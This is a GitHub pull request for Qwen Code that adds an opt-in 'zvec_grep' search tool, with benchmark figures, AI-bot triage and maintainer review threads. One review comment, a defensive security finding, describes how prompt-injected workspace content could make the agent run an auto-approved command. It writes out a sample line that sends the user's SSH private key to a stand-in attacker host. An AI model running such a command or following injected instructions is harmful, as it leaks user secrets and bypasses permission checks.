Skip to content

feat(tool): add opt-in zvec-grep search tool#6096

Open
zhourrr wants to merge 5 commits into
QwenLM:mainfrom
zhourrr:feat/zvec-grep-skill
Open

feat(tool): add opt-in zvec-grep search tool#6096
zhourrr wants to merge 5 commits into
QwenLM:mainfrom
zhourrr:feat/zvec-grep-skill

Conversation

@zhourrr

@zhourrr zhourrr commented Jul 1, 2026

Copy link
Copy Markdown

What this PR does

This PR integrates zvec_grep as a first-class workspace search tool for Qwen Code. The tool provides two search modes: semantic search for concept-level code discovery, and rg-style exact/regex search for known symbols, paths, literals, and config keys. It supports scoped searches with path, paths, glob, and exclude, records returned file paths for follow-up read tracking, asks for confirmation when searching outside the workspace, and can start background indexing when semantic search is requested before an index is ready.

The built-in Explore agent can also use zvec_grep, so delegated codebase exploration can benefit from the same workspace search path instead of falling back to baseline grep-only behavior.

Why it's needed

Codebase search is a major part of Qwen Code’s everyday workflow. Exact grep is useful when the model already knows the right names, but many code-understanding tasks start with vague concepts, architecture questions, behavior descriptions, or cross-file relationships. zvec_grep gives the model a semantic discovery path for those cases while still preserving an exact-search mode for known text patterns.

The intended result is better first-pass file discovery, fewer broad repeated searches, and a more consistent search interface for both the main agent and Explore.

Reviewer Test Plan

How to verify

Reviewers should verify that zvec_grep is available as a workspace search tool, supports both semantic and rg-style operations, respects workspace scoping and external path confirmation, records result file paths for follow-up reads, and is available to the Explore agent.

Suggested checks:

  • Ask a conceptual codebase question where exact keywords are not obvious and confirm the model can use zvec_grep semantic search to find relevant files.
  • Ask a known-symbol or known-literal question and confirm the model can use zvec_grep rg search.
  • Ask Explore to investigate a codebase area and confirm it can call zvec_grep.
  • Try scoped searches with path, paths, glob, and exclude.
  • Try an external path search and confirm permission confirmation is required.

Evidence (Before & After)

Benchmark evidence was collected locally with a 200-session matrix across two representative codebases: this CLI/code-agent repository and a separate vector-search/database repository. The benchmark used 10 code-understanding questions, 5 search modes, and 4 repeated runs per question/mode.

Benchmark summary:

  • Completed sessions: 200 / 200.
  • The most stable setup was zvec enabled with a warm index and no subagent delegation.
  • On the CLI/code-agent repository, average total tokens dropped from 689,891 with baseline search to 497,905 with warm-index zvec and no subagent delegation.
  • On the vector-search/database repository, average total tokens dropped from 391,615 with baseline search to 277,438 with warm-index zvec and no subagent delegation.
  • Actual zvec usage was measured separately because enabling zvec does not always mean the model calls it.
  • In the CLI/code-agent repository, zvec was actually called in 60/60 zvec-enabled runs, averaging 685,019 total / 242,236 uncached tokens.
  • In the vector-search/database repository, zvec was actually called in 53/60 zvec-enabled runs, averaging 374,147 total / 177,876 uncached tokens.
  • Semantic zvec usage was cheaper than regex-only zvec usage: 553,556 vs 929,164 average total tokens on the CLI/code-agent repository, and 312,829 vs 719,059 on the vector-search/database repository.
  • Answer quality was checked with a lightweight heuristic based on non-empty final answers, concept coverage, key file references, structure, and conciseness. Actual-zvec runs averaged about 4.8 / 5 in both repositories.
  • Tool-following checks were good overall: no-agent modes had 0 agent calls, and zvec-only modes had 0 successful baseline grep_search calls.

@wenshao

wenshao commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

Re-running triage after the force-push — the PR has changed significantly since the first pass (from a single SKILL.md to a full built-in tool integration).

Template looks good ✓ — What, Why, Reviewer Test Plan (with How to verify and benchmark Evidence) are all present and substantive.

Problem: observed and evidenced. The 200-session benchmark in the PR description shows measurable token reduction (689K → 497K on the CLI repo, 391K → 277K on the vector-search repo) when zvec_grep is available with a warm index. Semantic search for vague codebase concepts is a real gap — exact grep requires knowing the right keywords upfront.

Direction: aligned. Better codebase discovery is core to what a coding agent does. The tool is opt-in (tools.zvecGrep.enabled: true), so zero risk for users who don't want it. Graceful degradation when zg isn't installed.

Size: 1,322 production logic lines across 9 files, 967 test lines across 5 test files. This is a large PR — the 1000+ advisory applies. For awareness: the bulk is the new zvec-grep.ts (1,241 lines) which bundles tool logic, auto-install, background indexing, and semantic-to-regex fallback in one file. The test file zvec-grep.test.ts (908 lines) provides thorough coverage. Not a refactor hard-block (this is feat type), but the maintainer should be aware of the scope.

Approach: the scope feels proportional to the feature. The PR wires a new tool through config (cli + core), settings schema, tool scheduler path scoping, subagent tool lists, and VSCode companion schema — all necessary integration points. The background indexing subsystem adds complexity but serves a clear purpose (warm index for semantic fallback). One question worth considering: the tool auto-installs @zvec/zvec-grep@0.1.4 via npm install -g on first use without explicit user consent beyond enabling the tool in settings. The pinned version mitigates risk, but this is a trust decision the maintainer should make.

Moving on to code review. 🔍

中文说明

PR 经历 force-push 后变化很大(从单个 SKILL.md 变为完整的内置工具集成),重新运行 triage。

模板完整 ✓ — What、Why、Reviewer Test Plan(含 How to verify 和 benchmark 证据)齐全且实质性强。

问题:已观测并有证据支持。PR 描述中的 200-session benchmark 显示了可衡量的 token 减少(CLI 仓库 689K → 497K,向量搜索仓库 391K → 277K)。对于模糊代码库概念的语义搜索是真实缺口——精确 grep 需要事先知道正确的关键词。

方向:对齐。更好的代码库发现是编码代理的核心功能。工具是可选的(tools.zvecGrep.enabled: true),不想要的用户零风险。zg 未安装时优雅降级。

规模:1,322 行生产逻辑代码跨 9 个文件,967 行测试代码跨 5 个测试文件。这是一个大型 PR——适用 1000+ 建议。主体是新的 zvec-grep.ts(1,241 行),将工具逻辑、自动安装、后台索引和语义到正则的降级集成在一个文件中。不是 refactor 硬拦截(这是 feat 类型),但维护者应了解范围。

方案:范围与功能成比例。PR 将新工具连接到配置(cli + core)、settings schema、工具调度器路径作用域、子代理工具列表和 VSCode 伴侣 schema——所有必要的集成点。后台索引子系统增加了复杂度但服务于明确目的(为语义降级提供预热索引)。一个值得考虑的问题:工具在首次使用时通过 npm install -g 自动安装 @zvec/zvec-grep@0.1.4,除了在 settings 中启用工具外没有额外的用户同意。固定版本降低了风险,但这是维护者应做出的信任决策。

进入代码审查 🔍

Qwen Code · qwen3.7-max

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

2a. Code Review

Independent proposal: To add an opt-in zvec_grep search tool, I'd create a new tool class under packages/core/src/tools/ extending BaseDeclarativeTool, register it conditionally in Config behind a settings flag, add the tool name to tool-names.ts, wire settings schema in both CLI and core, add it to coreToolScheduler for path scoping, add it to the Explore subagent's tool list, and update the VSCode companion schema. The tool would spawn zg as a child process, handle missing-binary gracefully, and support both semantic and rg-style operations.

Comparison with the PR: The PR matches this proposal and goes further with auto-install (npm install -g @zvec/zvec-grep@0.1.4), background indexing for warm semantic search, semantic-to-regex fallback when the index isn't ready, output truncation at 20MB, and external-path permission confirmation. All additions serve clear purposes.

Findings: No critical issues.

  • The ZvecGrepTool correctly extends BaseDeclarativeTool with proper parameter validation (validateToolParams + validateToolParamValues), permission handling (getDefaultPermission asks for external paths), and invocation lifecycle (ZvecGrepInvocation).
  • Auto-install is version-pinned (@zvec/zvec-grep@0.1.4), has timeout (120s) and output limits (200KB), and uses a singleton promise to avoid parallel installs. Clean.
  • Background indexing uses detached: true + child.unref() for proper daemon behavior, with PID-based job tracking and cleanup on exit. The isProcessRunning(pid) check is a reasonable liveness probe.
  • The semantic fallback (buildSemanticFallbackQuery) — extracting code-like tokens, filtering stop words, building an (?i)(token1|token2) regex — is a pragmatic bridge when semantic search isn't available.
  • Output truncation at 20MB with allowPartialOutput: true for search results is reasonable; the tool-level maxOutputChars: 20_000 handles LLM-facing truncation separately.
  • Integration points are all correct: FS_PATH_TOOL_NAMES set, extractToolInputPaths case, Explore subagent tool list, lazy registration in Config.
  • Reuses existing utilities: recordGrepResultFileReads from grepReadTracking.ts, getMemoryBaseDir from memory/paths.ts, resolvePath/isSubpath from utils/paths.ts.

One observation: the auto-install mechanism (npm install -g) runs without explicit user consent beyond the settings toggle. The version pin mitigates supply-chain risk, but global package installation is a trust decision. The maintainer should confirm this is acceptable for an external-contributor PR.

2b. Real-Scenario Testing

Before (installed qwen, no zvec_grep)

qwen -p 'list all available tool names' --output-format text

**Built-in tools:**
agent, ask_user_question, enter_plan_mode, exit_plan_mode, glob, grep_search, list_directory, read_file, skill, todo_write, tool_search

No zvec_grep — confirms it doesn't exist in the current release.

After (PR code, zvec_grep enabled via settings)

QWEN_HOME=/tmp/triage-qwen-home npm run dev -- -p 'list all available tool names' --output-format text

**Dedicated tools:**
- `agent`, `ask_user_question`, `enter_plan_mode`, `exit_plan_mode`, `glob`, `grep_search`, `list_directory`, `read_file`, `skill`, `todo_write`, `tool_search`, `zvec_grep`

zvec_grep appears in the tool list. ✓

After (PR code, zvec_grep disabled by default — no settings)

npm run dev -- -p 'list all available tool names' --output-format text

**Dedicated tools:**
- `agent`, `ask_user_question`, `enter_plan_mode`, `exit_plan_mode`, `glob`, `grep_search`, `list_directory`, `read_file`, `skill`, `todo_write`, `tool_search`

No zvec_grep without explicit opt-in. ✓

After (PR code, zvec_grep invoked without zg installed)

QWEN_HOME=/tmp/triage-qwen-home npm run dev -- -p 'use the zvec_grep tool to do a semantic search for authentication'

**`zvec_grep` is unavailable** — the `zg` binary failed to auto-install (`ENOTEMPTY` on the npm global directory). I used `grep_search` as a fallback.

Here's what was found for **authentication** across the codebase:

### Core auth modules (28 files)

**Desktop / shared auth** (`packages/desktop/packages/shared/src/auth/`):
| File | Purpose |
|---|---|
| `oauth.ts` | `CraftOAuth` class, MCP OAuth registration, metadata discovery |
| `generic-oauth.ts` | `prepareGenericOAuth`, `exchangeGenericOAuth`, token refresh |
| `google-oauth.ts` | Google OAuth provider |
...

The tool registered correctly, attempted auto-install (which failed due to a stale npm global directory in this environment), and gracefully fell back to grep_search. The agent reported the issue clearly and continued with useful results.

Unit Tests

All tests pass:

✓ src/tools/zvec-grep.test.ts (27 tests) 212ms
✓ src/config/config.test.ts (371 tests) 417ms
✓ src/subagents/builtin-agents.test.ts (9 tests) 5ms
✓ src/core/coreToolScheduler.test.ts (259 tests) 1412ms
✓ packages/cli/src/config/config.test.ts (269 tests) 912ms

Typecheck clean for both packages/core and packages/cli.

中文说明

2a. 代码审查

独立方案: 添加可选的 zvec_grep 搜索工具,我会在 packages/core/src/tools/ 下创建扩展 BaseDeclarativeTool 的新工具类,在 Config 中通过设置标志条件注册,将工具名添加到 tool-names.ts,连接 CLI 和 core 的 settings schema,添加到 coreToolScheduler 做路径作用域,添加到 Explore 子代理工具列表,并更新 VSCode 伴侣 schema。工具会生成 zg 子进程,优雅处理缺失的二进制文件,并支持语义和 rg 风格操作。

与 PR 对比: PR 匹配此方案并更进一步:自动安装(npm install -g @zvec/zvec-grep@0.1.4)、后台索引、语义到正则的降级、20MB 输出截断和外部路径权限确认。所有新增都有明确目的。

结论: 无关键问题。自动安装版本固定、有超时和输出限制、使用单例 promise 避免并行安装。后台索引用 detached: true + child.unref()。语义降级是实用的桥接方案。复用了现有工具函数。一个观察:自动安装机制(npm install -g)在设置开关之外没有明确的用户同意。

2b. 实际场景测试

Before(已安装的 qwen,无 zvec_grep):zvec_grep。✓
After(PR 代码,zvec_grep 启用): zvec_grep 出现在工具列表中。✓
After(PR 代码,默认禁用):zvec_grep。✓
After(PR 代码,调用但未安装 zg): 工具注册正确,尝试自动安装(在此环境中因 npm 全局目录问题失败),并优雅降级到 grep_search。✓

单元测试: 全部通过(27 + 371 + 9 + 259 + 269 = 935 个测试)。Typecheck 干净。

Qwen Code · qwen3.7-max

@qwen-code-ci-bot

qwen-code-ci-bot commented Jul 1, 2026

Copy link
Copy Markdown
Collaborator

This PR has come a long way since the first triage. What started as a single SKILL.md is now a full built-in tool integration — 1,322 production lines, 967 test lines, touching 14 files across 4 packages. The scope grew, but so did the evidence and the implementation quality.

Going back to my independent proposal from Stage 2a: the PR matches it and exceeds it. The auto-install, background indexing, and semantic-to-regex fallback are all purposeful additions, not scope creep. Every integration point (config, scheduler, subagents, settings schema, VSCode companion) is wired correctly.

The testing confirms what matters: opt-in works correctly (disabled by default, available when enabled), and the graceful degradation is solid — the tool registered, attempted auto-install, failed, and fell back to grep_search with a clear message. The 935 unit tests across all affected files pass. Typecheck is clean.

What I like about this PR: the degradation story is well thought out. Semantic search → regex fallback → grep_search fallback → "not installed" error. Every level has a clear trigger and a clear message. The background indexing with PID-based job tracking and cleanup is robust. The output limits and timeouts are sensible.

The one reservation I have is the auto-install mechanism. Running npm install -g @zvec/zvec-grep@0.1.4 on first use is a trust decision that goes beyond "enabling a tool in settings." For a fork PR, this deserves explicit maintainer sign-off. The version pin is good practice, and the code handles install failures gracefully, but the maintainer should confirm this trust model is acceptable.

Approving with that note. The code quality and integration are solid — this is ready to merge once the maintainer confirms the auto-install trust model.

中文说明

这个 PR 自第一次 triage 以来经历了很大变化。从单个 SKILL.md 发展到完整的内置工具集成——1,322 行生产代码,967 行测试代码,跨 4 个包的 14 个文件。范围增大了,但证据和实现质量也随之提高。

回顾我在 Stage 2a 的独立方案:PR 匹配并超越了它。自动安装、后台索引和语义到正则的降级都是有目的的新增,不是范围蔓延。每个集成点都正确连接。

测试确认了关键点:opt-in 正确工作(默认禁用,启用后可用),优雅降级可靠——工具注册、尝试自动安装、失败、并降级到 grep_search 并给出清晰消息。935 个单元测试全部通过。Typecheck 干净。

我喜欢这个 PR 的地方:降级策略考虑周全。语义搜索 → 正则降级 → grep_search 降级 → "未安装"错误。每一层都有明确的触发和消息。后台索引使用 PID 作业跟踪和清理,非常健壮。输出限制和超时合理。

一个顾虑:自动安装机制。首次使用时运行 npm install -g @zvec/zvec-grep@0.1.4 是一个超越"在设置中启用工具"的信任决策。对于 fork PR,这需要维护者明确认可。版本固定是好做法,代码也能优雅处理安装失败,但维护者应确认此信任模型可接受。

带着此说明批准。代码质量和集成都很扎实——维护者确认自动安装信任模型后即可合并。

Qwen Code · qwen3.7-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅

name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.
when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
allowedTools:

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Missing argument-hint field. 6 of 8 other bundled skills include one (e.g., '<question>', '<operation> <file-pattern>'). Without it, users invoking /zvec-grep get no prompt hint for what to type.

Suggested change
allowedTools:
when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
argument-hint: '<query>'

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the tip. I've refactored this into an integrated tool instead of a bundled skill. The tool description and argument description should give enough hint to the agent now.

allowedTools:
- Bash(zg *)
---

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] allowedTools omits follow-up tools that the skill body explicitly prescribes. Line 36 instructs the agent to "Open the candidates that look relevant, then continue with file reads, exact search for narrow confirmation." But only Bash(zg *) is auto-approved — every subsequent read_file or grep_search call triggers a permission prompt.

Every other bundled skill that uses allowedTools lists its full expected workflow chain (e.g., review lists 7 tools, simplify lists 7, stuck lists 2). Adding the follow-up tools would make the typical zg → read → grep flow seamless.

Suggested change
allowedTools:
- Bash(zg *)
- read_file
- grep_search

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This has been refactored into an integrated tool, which calls zg cli internally.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.

Results:

  • Qwen Code loaded the /zvec-grep skill and ran the documented setup command exactly, without adding --api-key:
    zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
  • The Qwen Code chat log showed Exit Code: 0, Error: (none), and the index was initialized successfully.
  • I then invoked /zvec-grep again and had Qwen Code run a semantic search. zg returned the expected file hit with Exit Code: 0.

So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.

My remaining review conclusion: no blocking issue from my side. The argument-hint: '<query>' suggestion is still reasonable UI polish for slash-command invocation, but I do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested the new zvec-grep skill locally through Qwen Code, using the PR's SKILL.md as a project skill in a temporary workspace.

Results:

  • Qwen Code loaded the /zvec-grep skill and ran the documented setup command exactly, without adding --api-key:
    zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"
  • The Qwen Code chat log showed Exit Code: 0, Error: (none), and the index was initialized successfully.
  • I then invoked /zvec-grep again and had Qwen Code run a semantic search. zg returned the expected file hit with Exit Code: 0.

So I withdraw my earlier concern that the setup example must include --api-key. In this Qwen Code skill invocation path, the documented setup command worked as-is.

Approved from my side. The argument-hint: '<query>' suggestion is still reasonable optional UI polish for slash-command invocation, but I do not consider it blocking. I also do not think expanding allowedTools to include read_file / grep_search is necessary here because allowedTools grants session permissions; it is not just a declaration of the expected workflow.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I need to correct my previous approval.

The setup command as documented uses the remote Qwen embedding model:

zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

That path requires credentials in a clean environment. My local Qwen Code run succeeded because the environment was not a true no-credential setup; it had local credential/config state available to zg, so that was not valid evidence that a new user can copy-paste the command without configuring a key.

Please update the setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote-embedding example, or by switching the default copy-paste example to a local embedding model and documenting the remote Qwen variant separately.

Requesting changes for the setup documentation issue. The argument-hint: '<query>' item remains optional UI polish, and I still do not consider broadening allowedTools to read_file / grep_search necessary.

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I re-tested this in a cleaner setup and this is a required documentation fix.

Test method:

  • Created a temporary workspace with this PR's zvec-grep skill installed as a project skill.
  • Invoked the skill through Qwen Code, not by manually running zg outside the agent path.
  • Forced the zg subprocess into a no-credential environment by clearing the relevant key environment variables and setting HOME to an empty temporary directory.

Qwen Code's tool call was:

env -u DASHSCOPE_API_KEY -u ZVEC_GREP_API_KEY -u ALIYUN_ACCESS_KEY_ID -u ALIYUN_ACCESS_KEY_SECRET -u ALIBABA_CLOUD_ACCESS_KEY_ID -u ALIBABA_CLOUD_ACCESS_KEY_SECRET HOME=/tmp/zg-no-cred-home.78PmUD zg --init --embedding qwen/text-embedding-v4 --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

The Qwen Code chat log tool result was:

Output: Error: Qwen text-embedding-v4 model requires an API key
Code: ZVEC_GREP.ENGINE.MODELS.QWEN_TEXT_EMBEDDING_V4_MISSING_API_KEY
Details:
  model: text-embedding-v4
Exit Code: 1

So the current setup snippet is not copy-pasteable for a clean user environment. Please update the skill setup guidance to make the credential requirement explicit, for example by adding --api-key "$DASHSCOPE_API_KEY" to the Qwen remote embedding example, or by making the default setup example use a local embedding model and documenting the Qwen remote model as a credentialed variant.

The argument-hint: '<query>' suggestion is still optional polish. I do not consider expanding allowedTools to include read_file / grep_search necessary, because allowedTools grants session permissions rather than describing the workflow.

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Two CLI syntax errors in the setup command:

  1. --include requires one glob per flag. The zg CLI does not accept comma-separated globs for --include (unlike --exclude which does). Every --include in this file uses the wrong syntax. The correct form is:
--include "src/**" --include "packages/**" --include "docs/**" --include "*.md"

This affects the init command here plus all search examples on lines 27, 39-42, 53-54, and 60-62.

  1. Missing --api-key for remote embedding model. qwen/text-embedding-v4 is a remote DashScope model that requires authentication. The command will fail without --api-key "$DASHSCOPE_API_KEY". Alternatively, switch to a local model like local/qwen3-embedding-0.6b to avoid requiring external credentials.

Combined fix:

Suggested change
when the user explicitly asks.
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**" --include "packages/**" --include "docs/**" --include "*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

— qwen3.7-max via Qwen Code /review

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the review.

For the --include syntax, this has been relaxed in the latest version of zg cli, and the installation of the tool pins the version of zg to avoid using old one.

For the --api-key issue, qwencode exports dashscope api key as an env variable in its controlled environment where our tool runs, so zg should be able to get access to it. If users don't have dashscope api key, zg will silently fallback to grep

@wenshao

wenshao commented Jul 2, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /review

when_to_use: Use before native grep_search for open-ended workspace investigations where the right files or search terms are not obvious: semantic discovery, code or document understanding, behavior tracing, implementation flows, API/config/architecture questions, support/existence questions, and finding key evidence. Skip when the exact file/range is already known or the task is a narrow literal, regex, or known-symbol lookup.
allowedTools:
- Bash(zg *)
---

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bash(zg *) in allowedTools creates a command injection vector. The SKILL.md examples consistently use double-quoted query strings (e.g., zg "login request authentication middleware"), which in bash allow $() command substitution. The permission system's matchesCommandPattern("zg *", ...) regex matches first, setting baseDecision = 'allow', which short-circuits past the containsCommandSubstitutionAST check. A prompt injection via malicious workspace content could cause the agent to construct zg "$(curl attacker.com/exfil -d @~/.ssh/id_rsa)" — auto-approved without user confirmation.

Suggested mitigations:

  • Use single quotes in all SKILL.md examples (single quotes prevent $() expansion in bash)
  • Add explicit guidance to escape $, backticks, and \ in query strings
  • Consider using run_shell_command in allowedTools and constraining usage to zg via the skill body instead of the overly broad Bash(zg *) prefix match

— qwen3.7-max via Qwen Code /review

## Setup

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No error handling for zg runtime failures. The Setup section covers only the "not installed / no index" case, but there are no instructions for runtime failures: embedding API errors (expired key, rate limit, quota), corrupt/stale index, OOM, or timeout. The agent has no decision tree for whether to retry, fall back to grep_search, or report the error. Other skills that shell out (e.g., batch, loop) include explicit error-handling sections.

Consider adding an "Error Handling" section covering: (1) non-zero exit → treat as missing setup, fall back; (2) API/auth errors → tell user, fall back; (3) one retry is fine, then fall back; (4) never silently swallow errors.

— qwen3.7-max via Qwen Code /review

when they are not part of the question.

For code searches, `--symbol-type` can narrow results to indexed symbols such
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --prefer-symbol is mentioned in prose but no example demonstrates its syntax. The agent cannot determine whether it takes a value (--prefer-symbol AuthService), is a boolean flag, or pairs with --symbol-type.

Suggested change
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it
Add `--prefer-symbol` when a symbol-like anchor should rank ahead of surrounding text. For example:
zg "auth decision flow" --fts "AuthService" --prefer-symbol --include "src/**"

— qwen3.7-max via Qwen Code /review

For code searches, `--symbol-type` can narrow results to indexed symbols such
as `module`, `class`, `interface`, `function`, `value`, or `alias`. Repeat it
for multiple symbol types; add `--prefer-symbol` when a symbol-like anchor
should rank ahead of surrounding text.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] These two --symbol-type examples are the only zg commands in the file that omit --exclude, contradicting the guidance on lines 60-62 to exclude dependencies and build output. Agent following these verbatim will get noisy results from node_modules/, dist/, etc.

Suggested change
should rank ahead of surrounding text.
zg "request validation function" "parse options helper" --symbol-type function --include "src/**,packages/**" --exclude "node_modules/**,dist/**"
zg "plugin lifecycle interface" "provider registry class" --symbol-type interface --symbol-type class --include "src/**,docs/**" --exclude "node_modules/**,dist/**"

— qwen3.7-max via Qwen Code /review

zg "enterprise plan data retention policy" "audit log export availability" --include "docs/**,handbook/**,*.md" --exclude "archive/**,vendor/**"
zg "background job retry backoff setting" "queue worker concurrency option" --include "src/**,config/**,docs/**" --exclude "dist/**,node_modules/**,build/**" --limit 15
zg "OAuth token refresh endpoint" "rate limit headers in API response" --include "docs/**,api/**,openapi/**" --exclude "generated/**,vendor/**"
```

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --fts appears in two examples but is never explained. The agent has no basis for choosing --fts "AuthService" over simply adding AuthService as a third positional query string. Consider adding one sentence explaining what --fts does, e.g., "adds a full-text-search boost that ranks results containing these exact tokens higher."

— qwen3.7-max via Qwen Code /review

@@ -0,0 +1,80 @@
---
name: zvec-grep
description: For semantic workspace search, use zvec-grep before native grep_search by running the `zg` CLI, especially when the right keywords, symbols, or files are unknown. Best for open-ended code/docs questions about how behavior works, where logic lives, why something happens, whether a feature exists, APIs, architecture, implementation flows, fuzzy discovery, and finding key evidence. Use grep_search mainly for exact literal, regex, or known-symbol lookup.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] description and when_to_use frontmatter fields substantially overlap — both enumerate the same use cases (semantic discovery, behavior tracing, implementation flows, API questions) in slightly different words. Combined ~500 chars of near-duplicate text are injected into every prompt that lists available skills. Other skills either use only description or keep the two fields complementary.

Consider trimming description to a single sentence (e.g., "Semantic workspace search via the zg CLI for open-ended code and document discovery.") and keeping the triggering/skip criteria only in when_to_use.

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No new review findings beyond the 9 existing inline comments — the prior reviewers have thorough coverage. Downgraded from Approve to Comment: CI still running.

— qwen3.7-max via Qwen Code /review

Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Missing --api-key for remote embedding model

The setup command uses --embedding qwen/text-embedding-v4 (a remote model) without the required --api-key flag. The upstream @zvec/zvec-grep package's own SKILL.md shows --api-key "$DASHSCOPE_API_KEY" alongside this model. Without it, zg --init will fail with an authentication error.

Suggested change
when the user explicitly asks.
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**"

Alternatively, consider using a local embedding model (e.g., local/embeddinggemma-300m) that requires no API key.

— qwen3.7-max via Qwen Code /review

If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild
when the user explicitly asks.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] --exclude omits sensitive file patterns

zg --init sends all matched file contents to a remote embedding API. The default --exclude patterns (node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**) do not exclude sensitive files like .env*, *.pem, *.key, secrets/**, or credentials/**. Users following the setup verbatim may unknowingly transmit sensitive files to the external API.

Suggested change
zg --init --embedding qwen/text-embedding-v4 --api-key "$DASHSCOPE_API_KEY" --include "src/**,packages/**,docs/**,*.md" --exclude "node_modules/**,dist/**,build/**,.git/**,.zvec-grep/**,.env*,**/*.pem,**/*.key,**/secrets.*"

— qwen3.7-max via Qwen Code /review


Use `zg` when it is already installed and the workspace already has an index.
If setup is missing, suggest terminal commands for the user and continue with
normal available search tools for this turn. Only install, initialize, or rebuild

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No version pin for pre-1.0 CLI dependency

npm install -g @zvec/zvec-grep installs latest (currently 0.1.2). All three published versions are pre-1.0, so any documented CLI flag (--fts, --symbol-type, --prefer-symbol, etc.) could change in any release without a semver major bump.

